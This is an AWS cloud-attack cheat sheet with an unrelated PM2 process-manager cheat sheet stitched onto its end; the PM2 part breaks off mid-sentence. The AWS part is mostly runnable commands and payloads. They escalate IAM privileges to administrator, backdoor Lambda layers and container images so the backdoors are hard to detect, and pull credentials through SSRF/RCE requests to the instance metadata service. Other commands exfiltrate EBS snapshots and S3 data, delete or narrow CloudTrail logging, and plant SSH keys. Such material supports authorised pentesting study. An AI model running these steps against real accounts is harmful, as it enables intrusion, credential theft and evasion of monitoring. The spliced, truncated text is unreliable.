root account instead of key, log in ``` https://signin.aws.amazon.com/console ``` Or use the IAM in case the account is not the root ``` https://account-id-here.signin.aws.amazon.com/console ``` *The account id can be cathered using the sts get caller command.* ### Privilege Escalation * Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges. #### Study Case * A user was compromised with the *List Policy* and *Put User Policy* permissions, an attacker could leverage this *Put User* privilege to add an inline administrator to itself, making it administrator of the instance. ##### Exploitation 1. Getting the IAM user ``` aws sts get-caller-identity ``` 2. Listing policies attached to an user ``` aws iam list-attached-user-policies --user-name example_name -- profile example_profile ``` 3. Retrieving informations about an specific policy ``` aws iam get-policy --policy-arn policy_arn ``` If there are more than one version of the policy, we can also list them ``` aws iam list-policy-versions --policy-arn policy_arn ``` Now we can finally retrieve the contents of the policy ``` aws iam get-policy-version --policy-arn example_arn --version-id id_example ``` *It's important to use the command above to chech the information about the default policy* 4. Escalation If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user. Administrator policy example ```json { "Version": "2021-10-17", "Statement" : [ { "Effect":"Allow", "Action": [ "*" ], "Resource":[ "*" ] } ] } ``` ### Attaching this policy into our user ``` aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json ``` ### Listing inline policies of our user ``` aws iam list-user-policies --user-name example_name ``` ### Listing a restricted resource (Example S3) ``` aws s3 ls --profile example_profile ``` ### Interesting Permissions * iam:AttachUserPolicy -> Attach a policy to a user * iam:AttachGroupPolicy -> Attach a policy to a group * iam:AttachRolePolicy -> Attach a policy to a role * iam:CreateAccessKey -> Creates a new access key * iam:CreateLoginProfile -> Creates a new login profile * iam:UpdateLoginProfile -> Update an existing login profile * iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile * iam:PuserUserPolicy -> Create/Update an inline policy * iam:PutGroupPolicy -> Create/Update an inline policy for a group * iam:PutRolePolicy -> Create/Update an inline policy for a role * iam:AddUserToGroup -> Add an user to a group * iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role * iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it * lambda:UpdateFunctionCode -> Update the code of an existing lambda function ### Persistence & Backdooring * Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access. #### Creating a new access key for another user ``` aws iam create-access-key --username example_username ``` #### Configuring AWS cli for the new user ``` aws configure --profile example_profile ``` *Remember, an user can have the maximum of 2 access keys*. #### Testing the credential ``` aws sts get-caller-identity --profile example_profile ``` #### Accessing more credentials * It's possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn't have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance) ##### Listing managed policies attached to an user ``` aws iam list-attached-user-policies --user-name example_name ``` ##### Retrieving information about an specific policy ``` aws iam get-policy --policy-arn ARN ``` ##### Listing information about the version of the policy ``` aws iam list-policy-versions --policy-arn ARN ``` ##### Retrieving information about an specific version ``` aws iam get-policy-version --policy-arn policy_arn --version-id ID ``` ##### Listing IAM roles ``` aws iam list-roles ``` ##### Listing trust relashionship between role and user (Which roles we can assume) ``` aws iam get-role --role-name role_name ``` ##### Listing all managed policies attached to the specific IAM role ``` aws iam liast-attached-role-policies --role-name role_name ``` ##### Retrieving information about the specified version of the policy ``` aws iam get-policy-version --policy-arn policy_arn --version-id ID ``` ##### Getting temporary credentials for the role ``` aws sts assume-role --role-arn role_arn --role-session-name session_name ``` ##### Configuring AWS cli with newer credentials (On Linux) ``` export AWS_ACCESS_KEY_ID export AWS_SECRET_KEY export AWS_SESSION_TOKEN ``` ##### Getting information about the temporary credential ``` aws sts get-caller-identity ``` ## S3 - Simple Storage System * Storage system that allow users to store and retrieve data. * List,Get,Put and Delete operations can be performed on the objects of the bucket * Buckets are global, meaning that they are available to all regions * It's possible to bruteforce the bucket name and region in the URL * Its possible to apply ACL's to bucket and object level and bucket policies for bucket level * There is also time limited URL's and identity based policies * Identity policies are enumerated using IAM commands ## Enumeration ### Listing all buckets in aws account ``` aws s3api list-buckets ``` ### Getting information about a specific bucket ``` aws s3api get-bucket-acl --bucket name ``` ### Getting information about a specific bucket policy ``` aws s3api get-bucket-policy --bucket name ``` ### Getting the Public Access Block configuration for an S3 bucket ``` aws s3api get-public-access-block --bucket name ``` ### Listing all objects in a specific bucket ``` aws s3api list-objects --bucket name ``` ### Getting ACL information about specific object ``` aws s3api get-object-acl --bucket-name name --key object_name ``` ## Data Exfiltration * It's possible to brute-force files in the bucket * If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL. ### Public Access * Just enter the URL in the browser ``` https://bucket-name.region.amazonaws.com/secret.txt ``` ### Authenticated User ``` aws s3api get-object --bucket name --key object-name download-file-location ``` ### Time-Based Url * Generate a time based url for an object * Userful if the object is not public ``` aws s3 presign s3://bucket-name/object-name --expires-in 605000 ``` ## Lambda & API Gateway * Serverless event driven platform * Runs code in response to events and automatically manages computing resources required by that code * Can trigger from other AWS services or call directly from the API Gateway * A lambda function is a piece of code that is executed whenever is triggered by an event from an event source * API Gateway is an AWS service for creating, publishing, maintaining, monitoring and securing REST, HTTP and WebSocket API * API Gateway can be used to trigger lambda functions in a synchronous (api gateway), asynchronous (event) or stream (Poll Based) way. * If we found a lambda function that access an S3 (Example) its possible to change its code and gain access to the files. * If API Gateway is used, we can enumerate the API to see how its possible to invoke the lambda function (Craft the URL). ## Enumeration ### Listing All lambda functions ``` aws lambda list-functions ``` ### Listing information about a specific lambda function ``` aws lambda get-function --function-name function_name ``` * *This command enables us to download the source code of the lambda function* ### Listing policy information about the function ``` aws lambda get-policy --function-name function_name ``` * We can get informations like who can execute this functions, ID and other informations with this command ### Listing the event source mapping information about a lambda function ``` aws lambda list-event-source-mappings --function-name function_name ``` ### Listing Lambda Layers (Depedencies) ``` aws lambda list-layers ``` ### Listing full information about a lambda layer ``` aws lambda get-layer-version --layer-name name --version-number version_number ``` ### Listing Rest API'S ``` aws apigateway get-rest-apis ``` ### Listing information about a specific API ``` aws apigateway get-rest-api --rest-api-id ID ``` ### Listing information about endpoints ``` aws apigateway get-resources --rest-api-id ID ``` ### Listing information about a specific endpoint ``` aws apigateway get-resource --rest-api-id ID --resource-id ID ``` ### Listing method information for the endpoint ``` aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method ``` * Test various methods to see if the API supports it. ### Listing all versions of a rest api ``` aws apigateway get-stages --rest-api-id ID ``` ### Getting informatin about a specific version ``` aws apigateway get-stage --res-api-id ID --stage-name NAME ``` ### Listing API KEYS ``` aws apigateway get-api-keys --include-values ``` ### Getting information about a specific API Key ``` aws apigateway get-api-key --api-key KEY ``` ## Initial Access * Its possible to get RCE through API Gateway if it executes commands. * If you can execute commands, there is a way to retrieve keys from the API Gateway, just use `env` , configure `aws cli` and proceed with the exploitation. ## Credential Access Getting credentials from Lambda can be done in 2 ways 1. Keys in the source code 2. Keys in the enviroment variables These keys can be gathered using SSRF, RCE and so on. ### Getting credentials using RCE ``` https://apigateway/prod/system?cmd=env ``` ### Getting credentials using SSRF ``` https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/next ``` ### Getting credentials using SSRF and wrappers ``` https://apigateway/prod/system?cmd=file:///proc/self/environ ``` ### Getting credentials from lambda enviroment variables (cli) ``` aws lambda get-function --function-name NAME ``` * It's important to enumerate the functions first with `aws lambda list-functions` ## Persistence * If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute. * Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect. ### Checking which user is executing ``` aws sts get-caller-identity ``` ### Checking all managed policies attached to the user ``` aws iam list-attached-user-policies --user-name user_name ``` ### Checking informations about a specific policy ``` aws iam get-policy-version --policy-arn arn --version-id ID ``` ### Listing all lambda functions ``` aws lambda list-functions --region region ``` ### Listing information about the specified lambda ``` aws lambda get-function --function-name name ``` * Download and analyze the codes ### Listing policy information about the specific lambda function ``` aws lambda get-policy --function-name name --profile profile --region region ``` * We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function). ### Listing Rest API'S ``` aws apigateway get-rest-apis ``` ### Listing information about a specific API ``` aws apigateway get-rest-api --rest-api-id ID ``` ### Listing information about endpoints ``` aws apigateway get-resources --rest-api-id ID ``` ### Listing information about a specific endpoint ``` aws apigateway get-resource --rest-api-id ID --resource-id ID ``` ### Listing method information for the endpoint ``` aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method ``` * Test various methods to see if the API supports it. ### Listing all versions of a rest api ``` aws apigateway get-stages --rest-api-id ID ``` ### Getting informatin about a specific version ``` aws apigateway get-stage --res-api-id ID --stage-name NAME ``` ### Uploading the backdoor code to aws lambda function ``` aws lambda update-function-code --function-name function --zip-file fileb://my-function.zip ``` ### Invoke the Function ``` curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE ``` Where 1. API-ID -> uj3948ie 2. Region -> us-east-2 3. Resource (Endpoint) -> EXAMPLE 4. Method -> Get 5. Stage (Version) -> default 6. API-Key -> None *All these details are gathered during the enumeration.* ## Privilege Escalation * If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator. ### Create a lambda function and attach a role to it ``` aws lambda create-function --function-name my-function --runtime python3.7 --zip-file fileb://my-function.zip --handler my-function.handler --role ARN --region region ``` * Inside the function's code, we will add the administrator permission to the role and to the user #### Example code to add the permissions ```python import boto3 import json def handler(event,context) iam = boto3.client("iam") iam.attach.role.policy(RoleName="name",PolicyArn="arn",) iam.attach.user.policy(UserName="name",PolicyArn="arn",) return { 'statusCode':200 'body':json.dumps("Pwned") } ``` ### Invoke a lambda function ``` aws lambda invoke --function-name name response.json --region region ``` ### Listing managed policies to see if the change worked ``` aws iam list-attached-user-policies --user-name user_name ``` ## AWS Secret Manager * AWS Service that encrypts and store secrets * Transparently decrypts and return in plaintext * KMS used to store keys (AWS Key and Customer Managed Key) * Asymmetric and Symmetric keys can be created using KMS ## Enumeration ### Listing all secrets stored by Secret Manager ``` aws secretsmanager list-secrets ``` ### Listing information about a specific secret ``` aws secretsmanager describe-secret --secret-id name ``` ### Getting policies attached to the specified secret ``` aws secretsmanager get-resource-policy --secret-id ID ``` ### Listing keys in KMS ``` aws kms list-keys ``` ### Listing information about a specific key ``` aws kms describe-key --key-id ID ``` ### Listing policies attached to a specific key ``` aws kms list-key-policies --key-id ID ``` ### Getting full information about a policy * Shows who can access the keys ``` aws kms get-key-policy --policy-name name --key-id ID ``` ## Credential Exfiltration * If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API ### Listing policies attached to an user ``` aws iam list-attached-user-policies --user-name name ``` ### Retrieving information about a specific version of policy * Here we can see the permissions ``` aws iam get-policy-version --policy-arn arn --version-id id ``` ### Listing all secrets stored by Secret Manager ``` aws secretsmanager list-secrets ``` ### Listing information about a specific secret * Here we get the secret Key Id to descript the secret ``` aws secretsmanager describe-secret --secret-id name ``` ### Getting resource-based policy attached to an specific secret ``` aws secretsmanager get-resource-policy --secret-id ID ``` ### Getting the secret value * Retrieves the actual value ``` aws secretsmanager get-secret-value --secret-id ID ``` ### KMS * If we compromised as an example an S3 with an encrypted file, we can decrypt it using the keys stored in KMS. #### Listing an specific key ``` aws kms describe-key --key-id id ``` #### Listing policies attached to an specified key * Here we can see who can access the key, the description of it and so on ``` aws kms list-key-policies --key-id ID ``` #### Listing full information about a policy * Run the previous command in all keys to see who can access it ``` aws kms get-key-policy --policy-name name --key-id ID ``` #### Decrypt the secret using the key * There is no need to specificy the key information because this information is embbeded in the encrypted file ``` aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext ``` ## Containers Divided into three categories * Registry -> Secure place to store container images (ECR) * Orchestration -> Configure when and where the containters run (ECS,EKS) * Compute -> Use to do computing related tasks (EC2, Fargate) * Its possible to create a backdoor image and add to a EKS cluster * Always look how VPC's are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster ## Initial Access * The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2. After the RCE, we can list all secrets in EKS ``` https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount ``` ### Getting the secret information from EKS ``` https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/token ``` * It's also possible to do sandbox escaping (Tool: ``deepce``) ## Enumeration ### ECR #### Listing all repositories in container registry ``` aws ecr describe-repositories ``` #### Listing information about repository policy ``` aws ecr get-repository-policy --repository-name name ``` #### Listing all images in a specific repository ``` aws ecr list-images --repository-name name ``` #### Listing information about an image ``` aws ecr describe-images --repository-name name --images-ids imageTag=name ``` ### ECS #### Listing all ECS clusters ``` aws ecs list-clusters ``` #### Listing information about an specific cluster ``` aws ecs describe-clusters --cluster name ``` #### Listing all services in specified cluster ``` aws ecs list-services --cluster name ``` #### Listing information about an specific service ``` aws ecs descibe-services --cluster name --services name ``` * This command shows the logs of the service #### Listing tasks in specific cluster ``` aws ecs list-tasks --cluster name ``` #### Listing information about an specific task ``` aws ecs describe-tasks --cluster name -tasks taskArn ``` * Also shows information about network, userful if trying to pivot #### Listing all containers in specified cluster ``` aws ecs list-container-instances --cluster name ``` ### EKS #### Listing all EKS clusters ``` aws eks list-clusters ``` #### Listing information about an specific cluster ``` aws eks describe-cluster --name name ``` #### Listing all node groups in specified cluster ``` aws eks list-nodegroups --cluster-name name ``` #### Listing specific information about a node group in a cluster ``` aws eks describe-nodegroup --cluster-name name --nodegroup-name name ``` #### Listing Fargate in specified cluster ``` aws eks list-fargate-profiles --cluster-name cluster-name ``` #### Listing information about a fargate profile in a cluster ``` aws eks describe-fargate-profiles --cluster-name name --fargate-profile-name name ``` ## Persistence * It's possible to modify an existing docker image with a backdoor, when this image is used it will trigger our team server. ### Enumerating the user ``` aws sts get-caller-identity ``` ### Listing manager policies attached to the IAM role ``` aws iam list-attached-role-policies --role-name name ``` ### Getting information about the version of the managed policy ``` aws iam get-policy-version --policy-arn arn --version-id id ``` ### Getting information about the repositories in container registry ``` aws ecr describe-repositories ``` ### Listing all images in the repository ``` aws ecr list-images --repository-name name ``` ### Listing information about an image ``` aws ecr describe-images --repository-name name --image-ids imageTag=Name ``` ### Authenticate the docker daemon to ECR ``` aws ecr get-login-password --region region | docker login --username AWS --password-stdin ecr_address ``` ### Building images with backdoor ``` docker build -t image_name ``` ### Tagging the docker image ``` docker tag image_name ecr_addr:Image_Name ``` ### Pushing the image to ECR ``` docker push ecr_addr:Image_Name ``` ## EC2 * AMI, images used to create virtual machines * It's possible to create a malicious image to compromise users * We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager * The SSH Key method is permanent, we need to gather the private key to connect to the instance * EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance * Session manager only work in browser and it does not need SSH Key * Windows machines can be accessed by using RDP, Session Manager * Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the instance level, not the subnet level. ## Enumeration ### Listing information about all instances ``` aws ec2 describe-instances ``` ### Listing information about a specific region ``` aws ec2 describe-instances --region region ``` ### Listing information about specific instance ``` aws ec2 describe-instances --instance-ids ID ``` ### Extracting UserData attribute of specified instance ``` aws ec2 describe-instance-attribute --attribute userData --instance-id instanceID ``` *This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded* ### Listing roles of an instance ``` aws ec2 describe-iam-instance-profile-associations ``` ## Exploitation * Initial access can happen by RCE or SSRF * Metadata can be used to exfiltrate information from the instance ### Remote code execution #### AWS Metadata If we have remote code execution or SSRF, we can grab metadata information ``` curl http://169.254.169.254/latest/meta-data ``` ##### Grabbing the keys to access the instance ``` curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance ``` ##### Grabbing the keys in metadata version 2 ```bash TOKEN=`curl X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-data/ ``` #### AWS Userdata Version 1 ``` curl http://169.254.169.254/latest/user-data/ ``` Version 2 ```bash TOKEN=`curl X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data/ ``` ### Privilege Escalation * One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection. * Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess permissions, we can add an administrator role to the compromised EC2 instance and access aws services. #### Getting information about the key ``` aws sts get-caller-identity ``` #### Getting policies attached to the IAM user ``` aws iam list-attached-user-policies --user-name user_name ``` #### Getting information about a specific policy version ``` aws iam get-policy-version --policy-arn ARN --version-id ID ``` To attach a role to an EC2 instance, we can use the RCE to grab the ID ``` curl http://169.254.169.254/latest/meta-data/instance-id ``` #### Listing instance profiles ``` aws iam list-instance-profiles ``` #### Attach an instance profile to an EC2 instance ``` aws ec2 associate-iam-instance-profile --instance-id ID --iam-instance-profile Name=ProfileName ``` ### Credential Access * We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so on) #### After the initial access 1. Enumerate the key (Role) ``` aws sts get-caller-identity ``` 2. If there are roles associated with the key, we can grab the credentials by issuing a request to the metadata endpoint (v1 or v2) ``` curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIOUS_COMMAND ``` 3. Configure the aws cli ``` aws configure ``` Or use enviroment variables. ### Persistence * All the persistence techniques works here, SSH persistence, vim backdoor and so on. #### SSH Persistence example 1. Generate SSH Key pair ``` ssh-keygen ``` 2. Add public key to authorized_keys ``` echo "PUBLIC_Key" >> /home/user/.ssh/authorized_keys ``` 3. Use the private key to connect ``` ssh -i public_key user@instance ``` # Elastic Block Store * Block storage system used to store persistent data * It's possible to attach this drive to EC2 and increase the storage (Like and HD, but scalable). * It's possible to create a snapshot (It will be saved on S3) and create a volume from this snapshot. * It's possible to attach the snapshot (Backup of BS) to an EC2 instance * Snapshots can be used as volumes or AMI's ## Enumeration ### Enumerating EBS volumes ``` aws ec2 describe-volumes ``` * If the volume is available, it can be attached to an EC2 instance * Check if the EBS is encrypted ### Enumerating Snapshots ``` aws ec2 describe-snapshots --owner-ids self ``` * Also check if the snapshot is encrypted ## Exploitation & Data Exfiltration * Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance. * User need to have IAM permissions on EC2 * Maybe we don't have the right to access the instance but have rights to create a snapshot and attach it to another machine. ### Creating a snapshot of a specified volume ``` aws ec2 create-snapshot --volume volumeID --description "Example" --profile profile_name ``` ### Listing snapshots ``` aws ec2 describe-snapshots ``` ### Creating a volume from a snasphot ``` aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile_name ``` * The volume needs to be in the same availability zone as the instance we have access ### Attaching the volume to an instance ``` aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev/sdfd -> Can be other value ``` ### Mounting the volume ``` sudo mount /dev/sdfd /directory ``` After mounting, we will have access to the disk. # RDS - Relational Database Service * Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar) * The access is done by using password, password+IAM or password+kerberos * It's possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip. * RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials. ## Enumeration ### Listing information about clusters in RDS ``` aws rds describe-db-clusters ``` ### Listing information about RDS instances ``` aws rds describe-db-instances ``` * IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance ### Listing information about subnet groups in RDS ``` aws rds describe-db-subnet-groups ``` ### Listing information about database security groups in RDS ``` aws rds describe-db-security-groups ``` ### Listing information about database proxies ``` aws rds describe-db-proxies ``` ## Data exfiltration * If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect) ### List instances in RDS ``` aws rds describe-db-instances ``` ### List information about the specified security group ``` aws ec2 describe-security-groups --group-ids id ``` ### Password based authentication ``` mysql -h hostname -u name -P port -p password ``` ### IAM Based authentication **1. Identify the user** ``` aws sts get-caller-identity ``` **2. List all policies attached to a role** ``` aws iam list-attached-role-policies --role-name name ``` **3. Get information about a specific version of a policy** ``` aws iam get-policy-version --policy-arn arn --version-id ID ``` **4. Get a temporary token from the RDS** ``` aws rds generate-db-auth-token --hostname hostname --port port --username username --region region ``` * To be easier, we can put it in a variable ``` TOKEN=$(aws rds generate-db-auth-token --hostname hostname --port port --username username --region region) ``` **5. Connect to the DB using the token** ``` mysql -h hostname -u name -P port --enable-cleartext-plugin --user=user --password=$TOKEN ``` ## SSO & Other Services ## Single Sign On (SSO) * Used to centrally manage access to multiple AWS accounts and applications. * Provide users a way to interact with all services and applications through one place * Can be used to manage access and user permissions to all AWS accounts * The identity source can use AWS SSO's identity store or external identity store (Okta,SAML and similar) ## CloudTrail * Log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account * Provide event history of AWS account activity, SDKs, command line tools and other services * Commonly used to detect unsual behavior in AWS account * Pacu automatically changes the user agent to deceive the logs of cloudtrail ### Userful Commands #### List trails ``` aws cloudtrail list-trails ``` #### Disabling CloudTrail ``` aws cloudtrail delete-trail --name example_trail --profile name ``` #### Disable monitoring of events from global events ``` aws cloudtrail update-trail --name example_trail --no-include-global-service-event ``` #### Disable CloudTrail on specific regions ``` aws cloudtrail update-trail --name example_trail --no-include-global-service-event --no-is-multi-region --region=eu-west ``` ## AWS Shield * Used to protect services from Denial of Service Attacks * There are 2 versions, the standard and the Advanced ## AWS Waf * Used to protect applications against common web application attacks * Common WAF bypasses can be tested against it * To detect an WAF, we can use `wafw00f` ## AWS Inspector * Automated security assessment service that helps improve the security and compliance of applications on AWS * Works with an agent ## AWS Guard Duty * Threat detection service that monitors for malicious activity and unauthorized behavior * Works by collecting and analyzing logs ## Virtual Private Cloud * Used to create an isolated infrastructure within the cloud, including subnets and so on. * If the VPC has an internet gateway, means its a public subnet * Every VPC can have Network ACL's ## Routing Tables A set of rules to determine where the traffic will be directed, comes in form of Destination and Target, defined as follows ``` DESTINATION TARGET IP local -> VPC Internal IP igw -> Internet Gateway IP nat -> NAT Gateway IP pcx -> VPC Peering IP vpce -> VPC Endpoint IP vgw -> VPN Gateway IP eni -> Network Interface ``` * VPC Internal -> Internal IP, no internet connection * Internet Gateway -> Used to access the internet * NAT Gateway -> Does the NAT between machines, allows one way connection to the internet * VPC Peering -> Allows the communication between 2 VPC's * VPC Endpoint -> Used to access aws services without internet connection (Internet Gateway) * VPN Gateway -> Used to expand the cloud to on premises and vice-versa * Network Interface -> Network Interfaces ## Enumeration ### Listing VPC's ``` aws ec2 describe-vpcs ``` ### Listing VPC's specifing the region ``` aws ec2 describe-vpcs --region us-west-1 ``` ### Listing VPC information by ID ``` aws ec2 describe-vpcs --filters "Name=vpc-id,Values=ID" ``` ### Listing subnet's ``` aws ec2 describe-subnets ``` ### Listing subnet's by VPC-id ``` aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID" ``` ### Listing routing tables ``` aws ec2 describe-route-tables ``` ### Listing routing tables by VPC-id ``` aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID" ``` ### Listing Network ACL's ``` aws ec2 describe-network-acls ``` ## Lateral Movement and Pivoting * We can abuse VPC peering to do lateral movement ### Scenario * There are 3 VPC's -> A,B,C * A can access B through peering and B access C. We can use VPC B as a peering pivot to access VPC C from VPC A. * The lateral movement can be done if we gather keys or other machines * Always enumerate the subnets to see in which subnet we can access other VPC's #### Listing VPC peering connections ``` aws ec2 describe-vpc-peering-connections ``` #### Listing subnets of specific VPC (Important because the access can be restricted to specific subnets to other VPC's) ``` aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID" ``` #### Listing routing tables ``` aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID" ``` #### Listing instances on the specified VPC ID ``` aws ec2 describe-instances --filters "Name=vpc-id,Values=ID" ``` #### Listing instances on the specified subnet ``` aws ec2 describe-instances --filters "Name=subnet-id,Values=ID" ``` ## References * [An introduction to penetration testing AWS - Akimbocore](https://akimbocore.com/article/introduction-to-penetration-testing-aws/) * [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/) * [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) * [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) * [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b) * [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) * [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5) * [Cloud security instance metadata - PumaScan](https://pumascan.com/resources/cloud-security-instance-metadata/) * [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6) * [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35) * [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/) * [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/) * [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed) * [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650) * [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/) * [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
sec-knowleage
--- title: PM2 date: 2022-11-25 18:10:00 background: bg-[#230769] tags: - process categories: - Linux Command intro: | [PM2] is a daemon process manager that will help you manage and keep your application online. Getting started with PM2 is straightforward, it is offered as a simple and intuitive CLI. plugins: - copyCode --- Getting Started --------------- ### Install The latest PM2 version is installable with NPM or Yarn ``` shell script $ npm install pm2@latest -g ``` OR ``` shell script $ yarn global add pm2 ``` ### Start an app The simplest way to start, daemonize and monitor your application is by using this command line ``` shell script $ pm2 start app.js ``` Or start any other application easily ``` shell script $ pm2 start bashscript.sh $ pm2 start python-app.py --watch $ pm2 start binary-file -- --port 1520 ``` ### Some options you can pass to the CLI {.row-span-3} Specify an app name ``` shell script --name <app_name> ``` Watch and Restart app when files change ``` shell script --watch ``` Set memory threshold for app reload ``` shell script --max-memory-restart <200MB> ``` Specify log file ``` shell script --log <log_path> ``` Pass extra arguments to the script ``` shell script -- arg1 arg2 arg3 ``` Delay between automatic restarts ``` shell script --restart-delay <delay in ms> ``` Prefix logs with time ``` shell script --time ``` Do not auto restart app ``` shell script --no-autorestart ``` Specify cron for forced restart ``` shell script --cron <cron_pattern> ``` Attach to application log ``` shell script --no-daemon ``` ### Managing processes Managing application state is simple here are the commands ``` shell script $ pm2 restart app_name $ pm2 reload app_name $ pm2 stop app_name $ pm2 delete app_name ``` #### Instead of app_name you can pass - `all` to act on all processes - `id` to act on a specific process id ### Check status, logs, metrics {.row-span-2} Now that you have started this application, you can check its status, logs, metrics and even get the online dashboard with [pm2.io](https://pm2.io/). List the status of all application managed by PM2 ``` shell script $ pm2 [list|ls|status] ``` To display logs in realtime ``` shell script $ pm2 logs ``` To dig in older logs ``` shell script $ pm2 logs --lines 200 ``` Here is a realtime dashboard that fits directly into your terminal ``` shell script $ pm2 monit ``` Web based dashboard, cross servers with diagnostic system ``` shell script $ pm2 plus ``` ### Cluster mode For Node.js applications, PM2 includes an automatic load balancer that will share all HTTP[s]/Websocket/TCP/UDP connections between each spawned processes. To start an application in Cluster mode ``` shell script $ pm2 start app.js -i max ``` Read more about cluster mode [here](https://pm2.keymetrics.io/docs/usage/quick-start/). ### Ecosystem File {.row-span-2} You can also create a configuration file, called Ecosystem File, to manage multiple applications. To generate an Ecosystem file ``` shell script $ pm2 ecosystem ``` This will generate an ecosystem.config.js file ``` module.exports = { apps : [{ name: "app", script: "./app.js", env: { NODE_ENV: "development", }, env_production: { NODE_ENV: "production", } }, { name: 'worker', script: 'worker.js' }] } ``` And start it easily ``` shell script $ pm2 start ecosystem.config.js ``` Read more about application declaration [here](https://pm2.keymetrics.io/docs/usage/application-declaration/) ### Setup startup script Restarting PM2 with the processes you manage on server boot/reboot is critical. To solve this, just run this command to generate an active startup script ``` shell script $ pm2 save ``` Read more about startup script generator [here](https://pm2.keymetrics.io/docs/usage/startup/) ### Restart application on changes It’s pretty easy with the `--watch` option ``` $ cd /path/to/my/app $ pm2 start env.js --watch --ignore-watch="node_modules" ``` This will watch & restart the app on any file change from the current directory + all subfolders and it will ignore any changes in the node_modules folder `--ignore-watch="node_modules"`. You can then use `pm2 logs` to check for restarted app logs. ------ ### CheatSheet {.row-span-2 .col-span-2} Here are 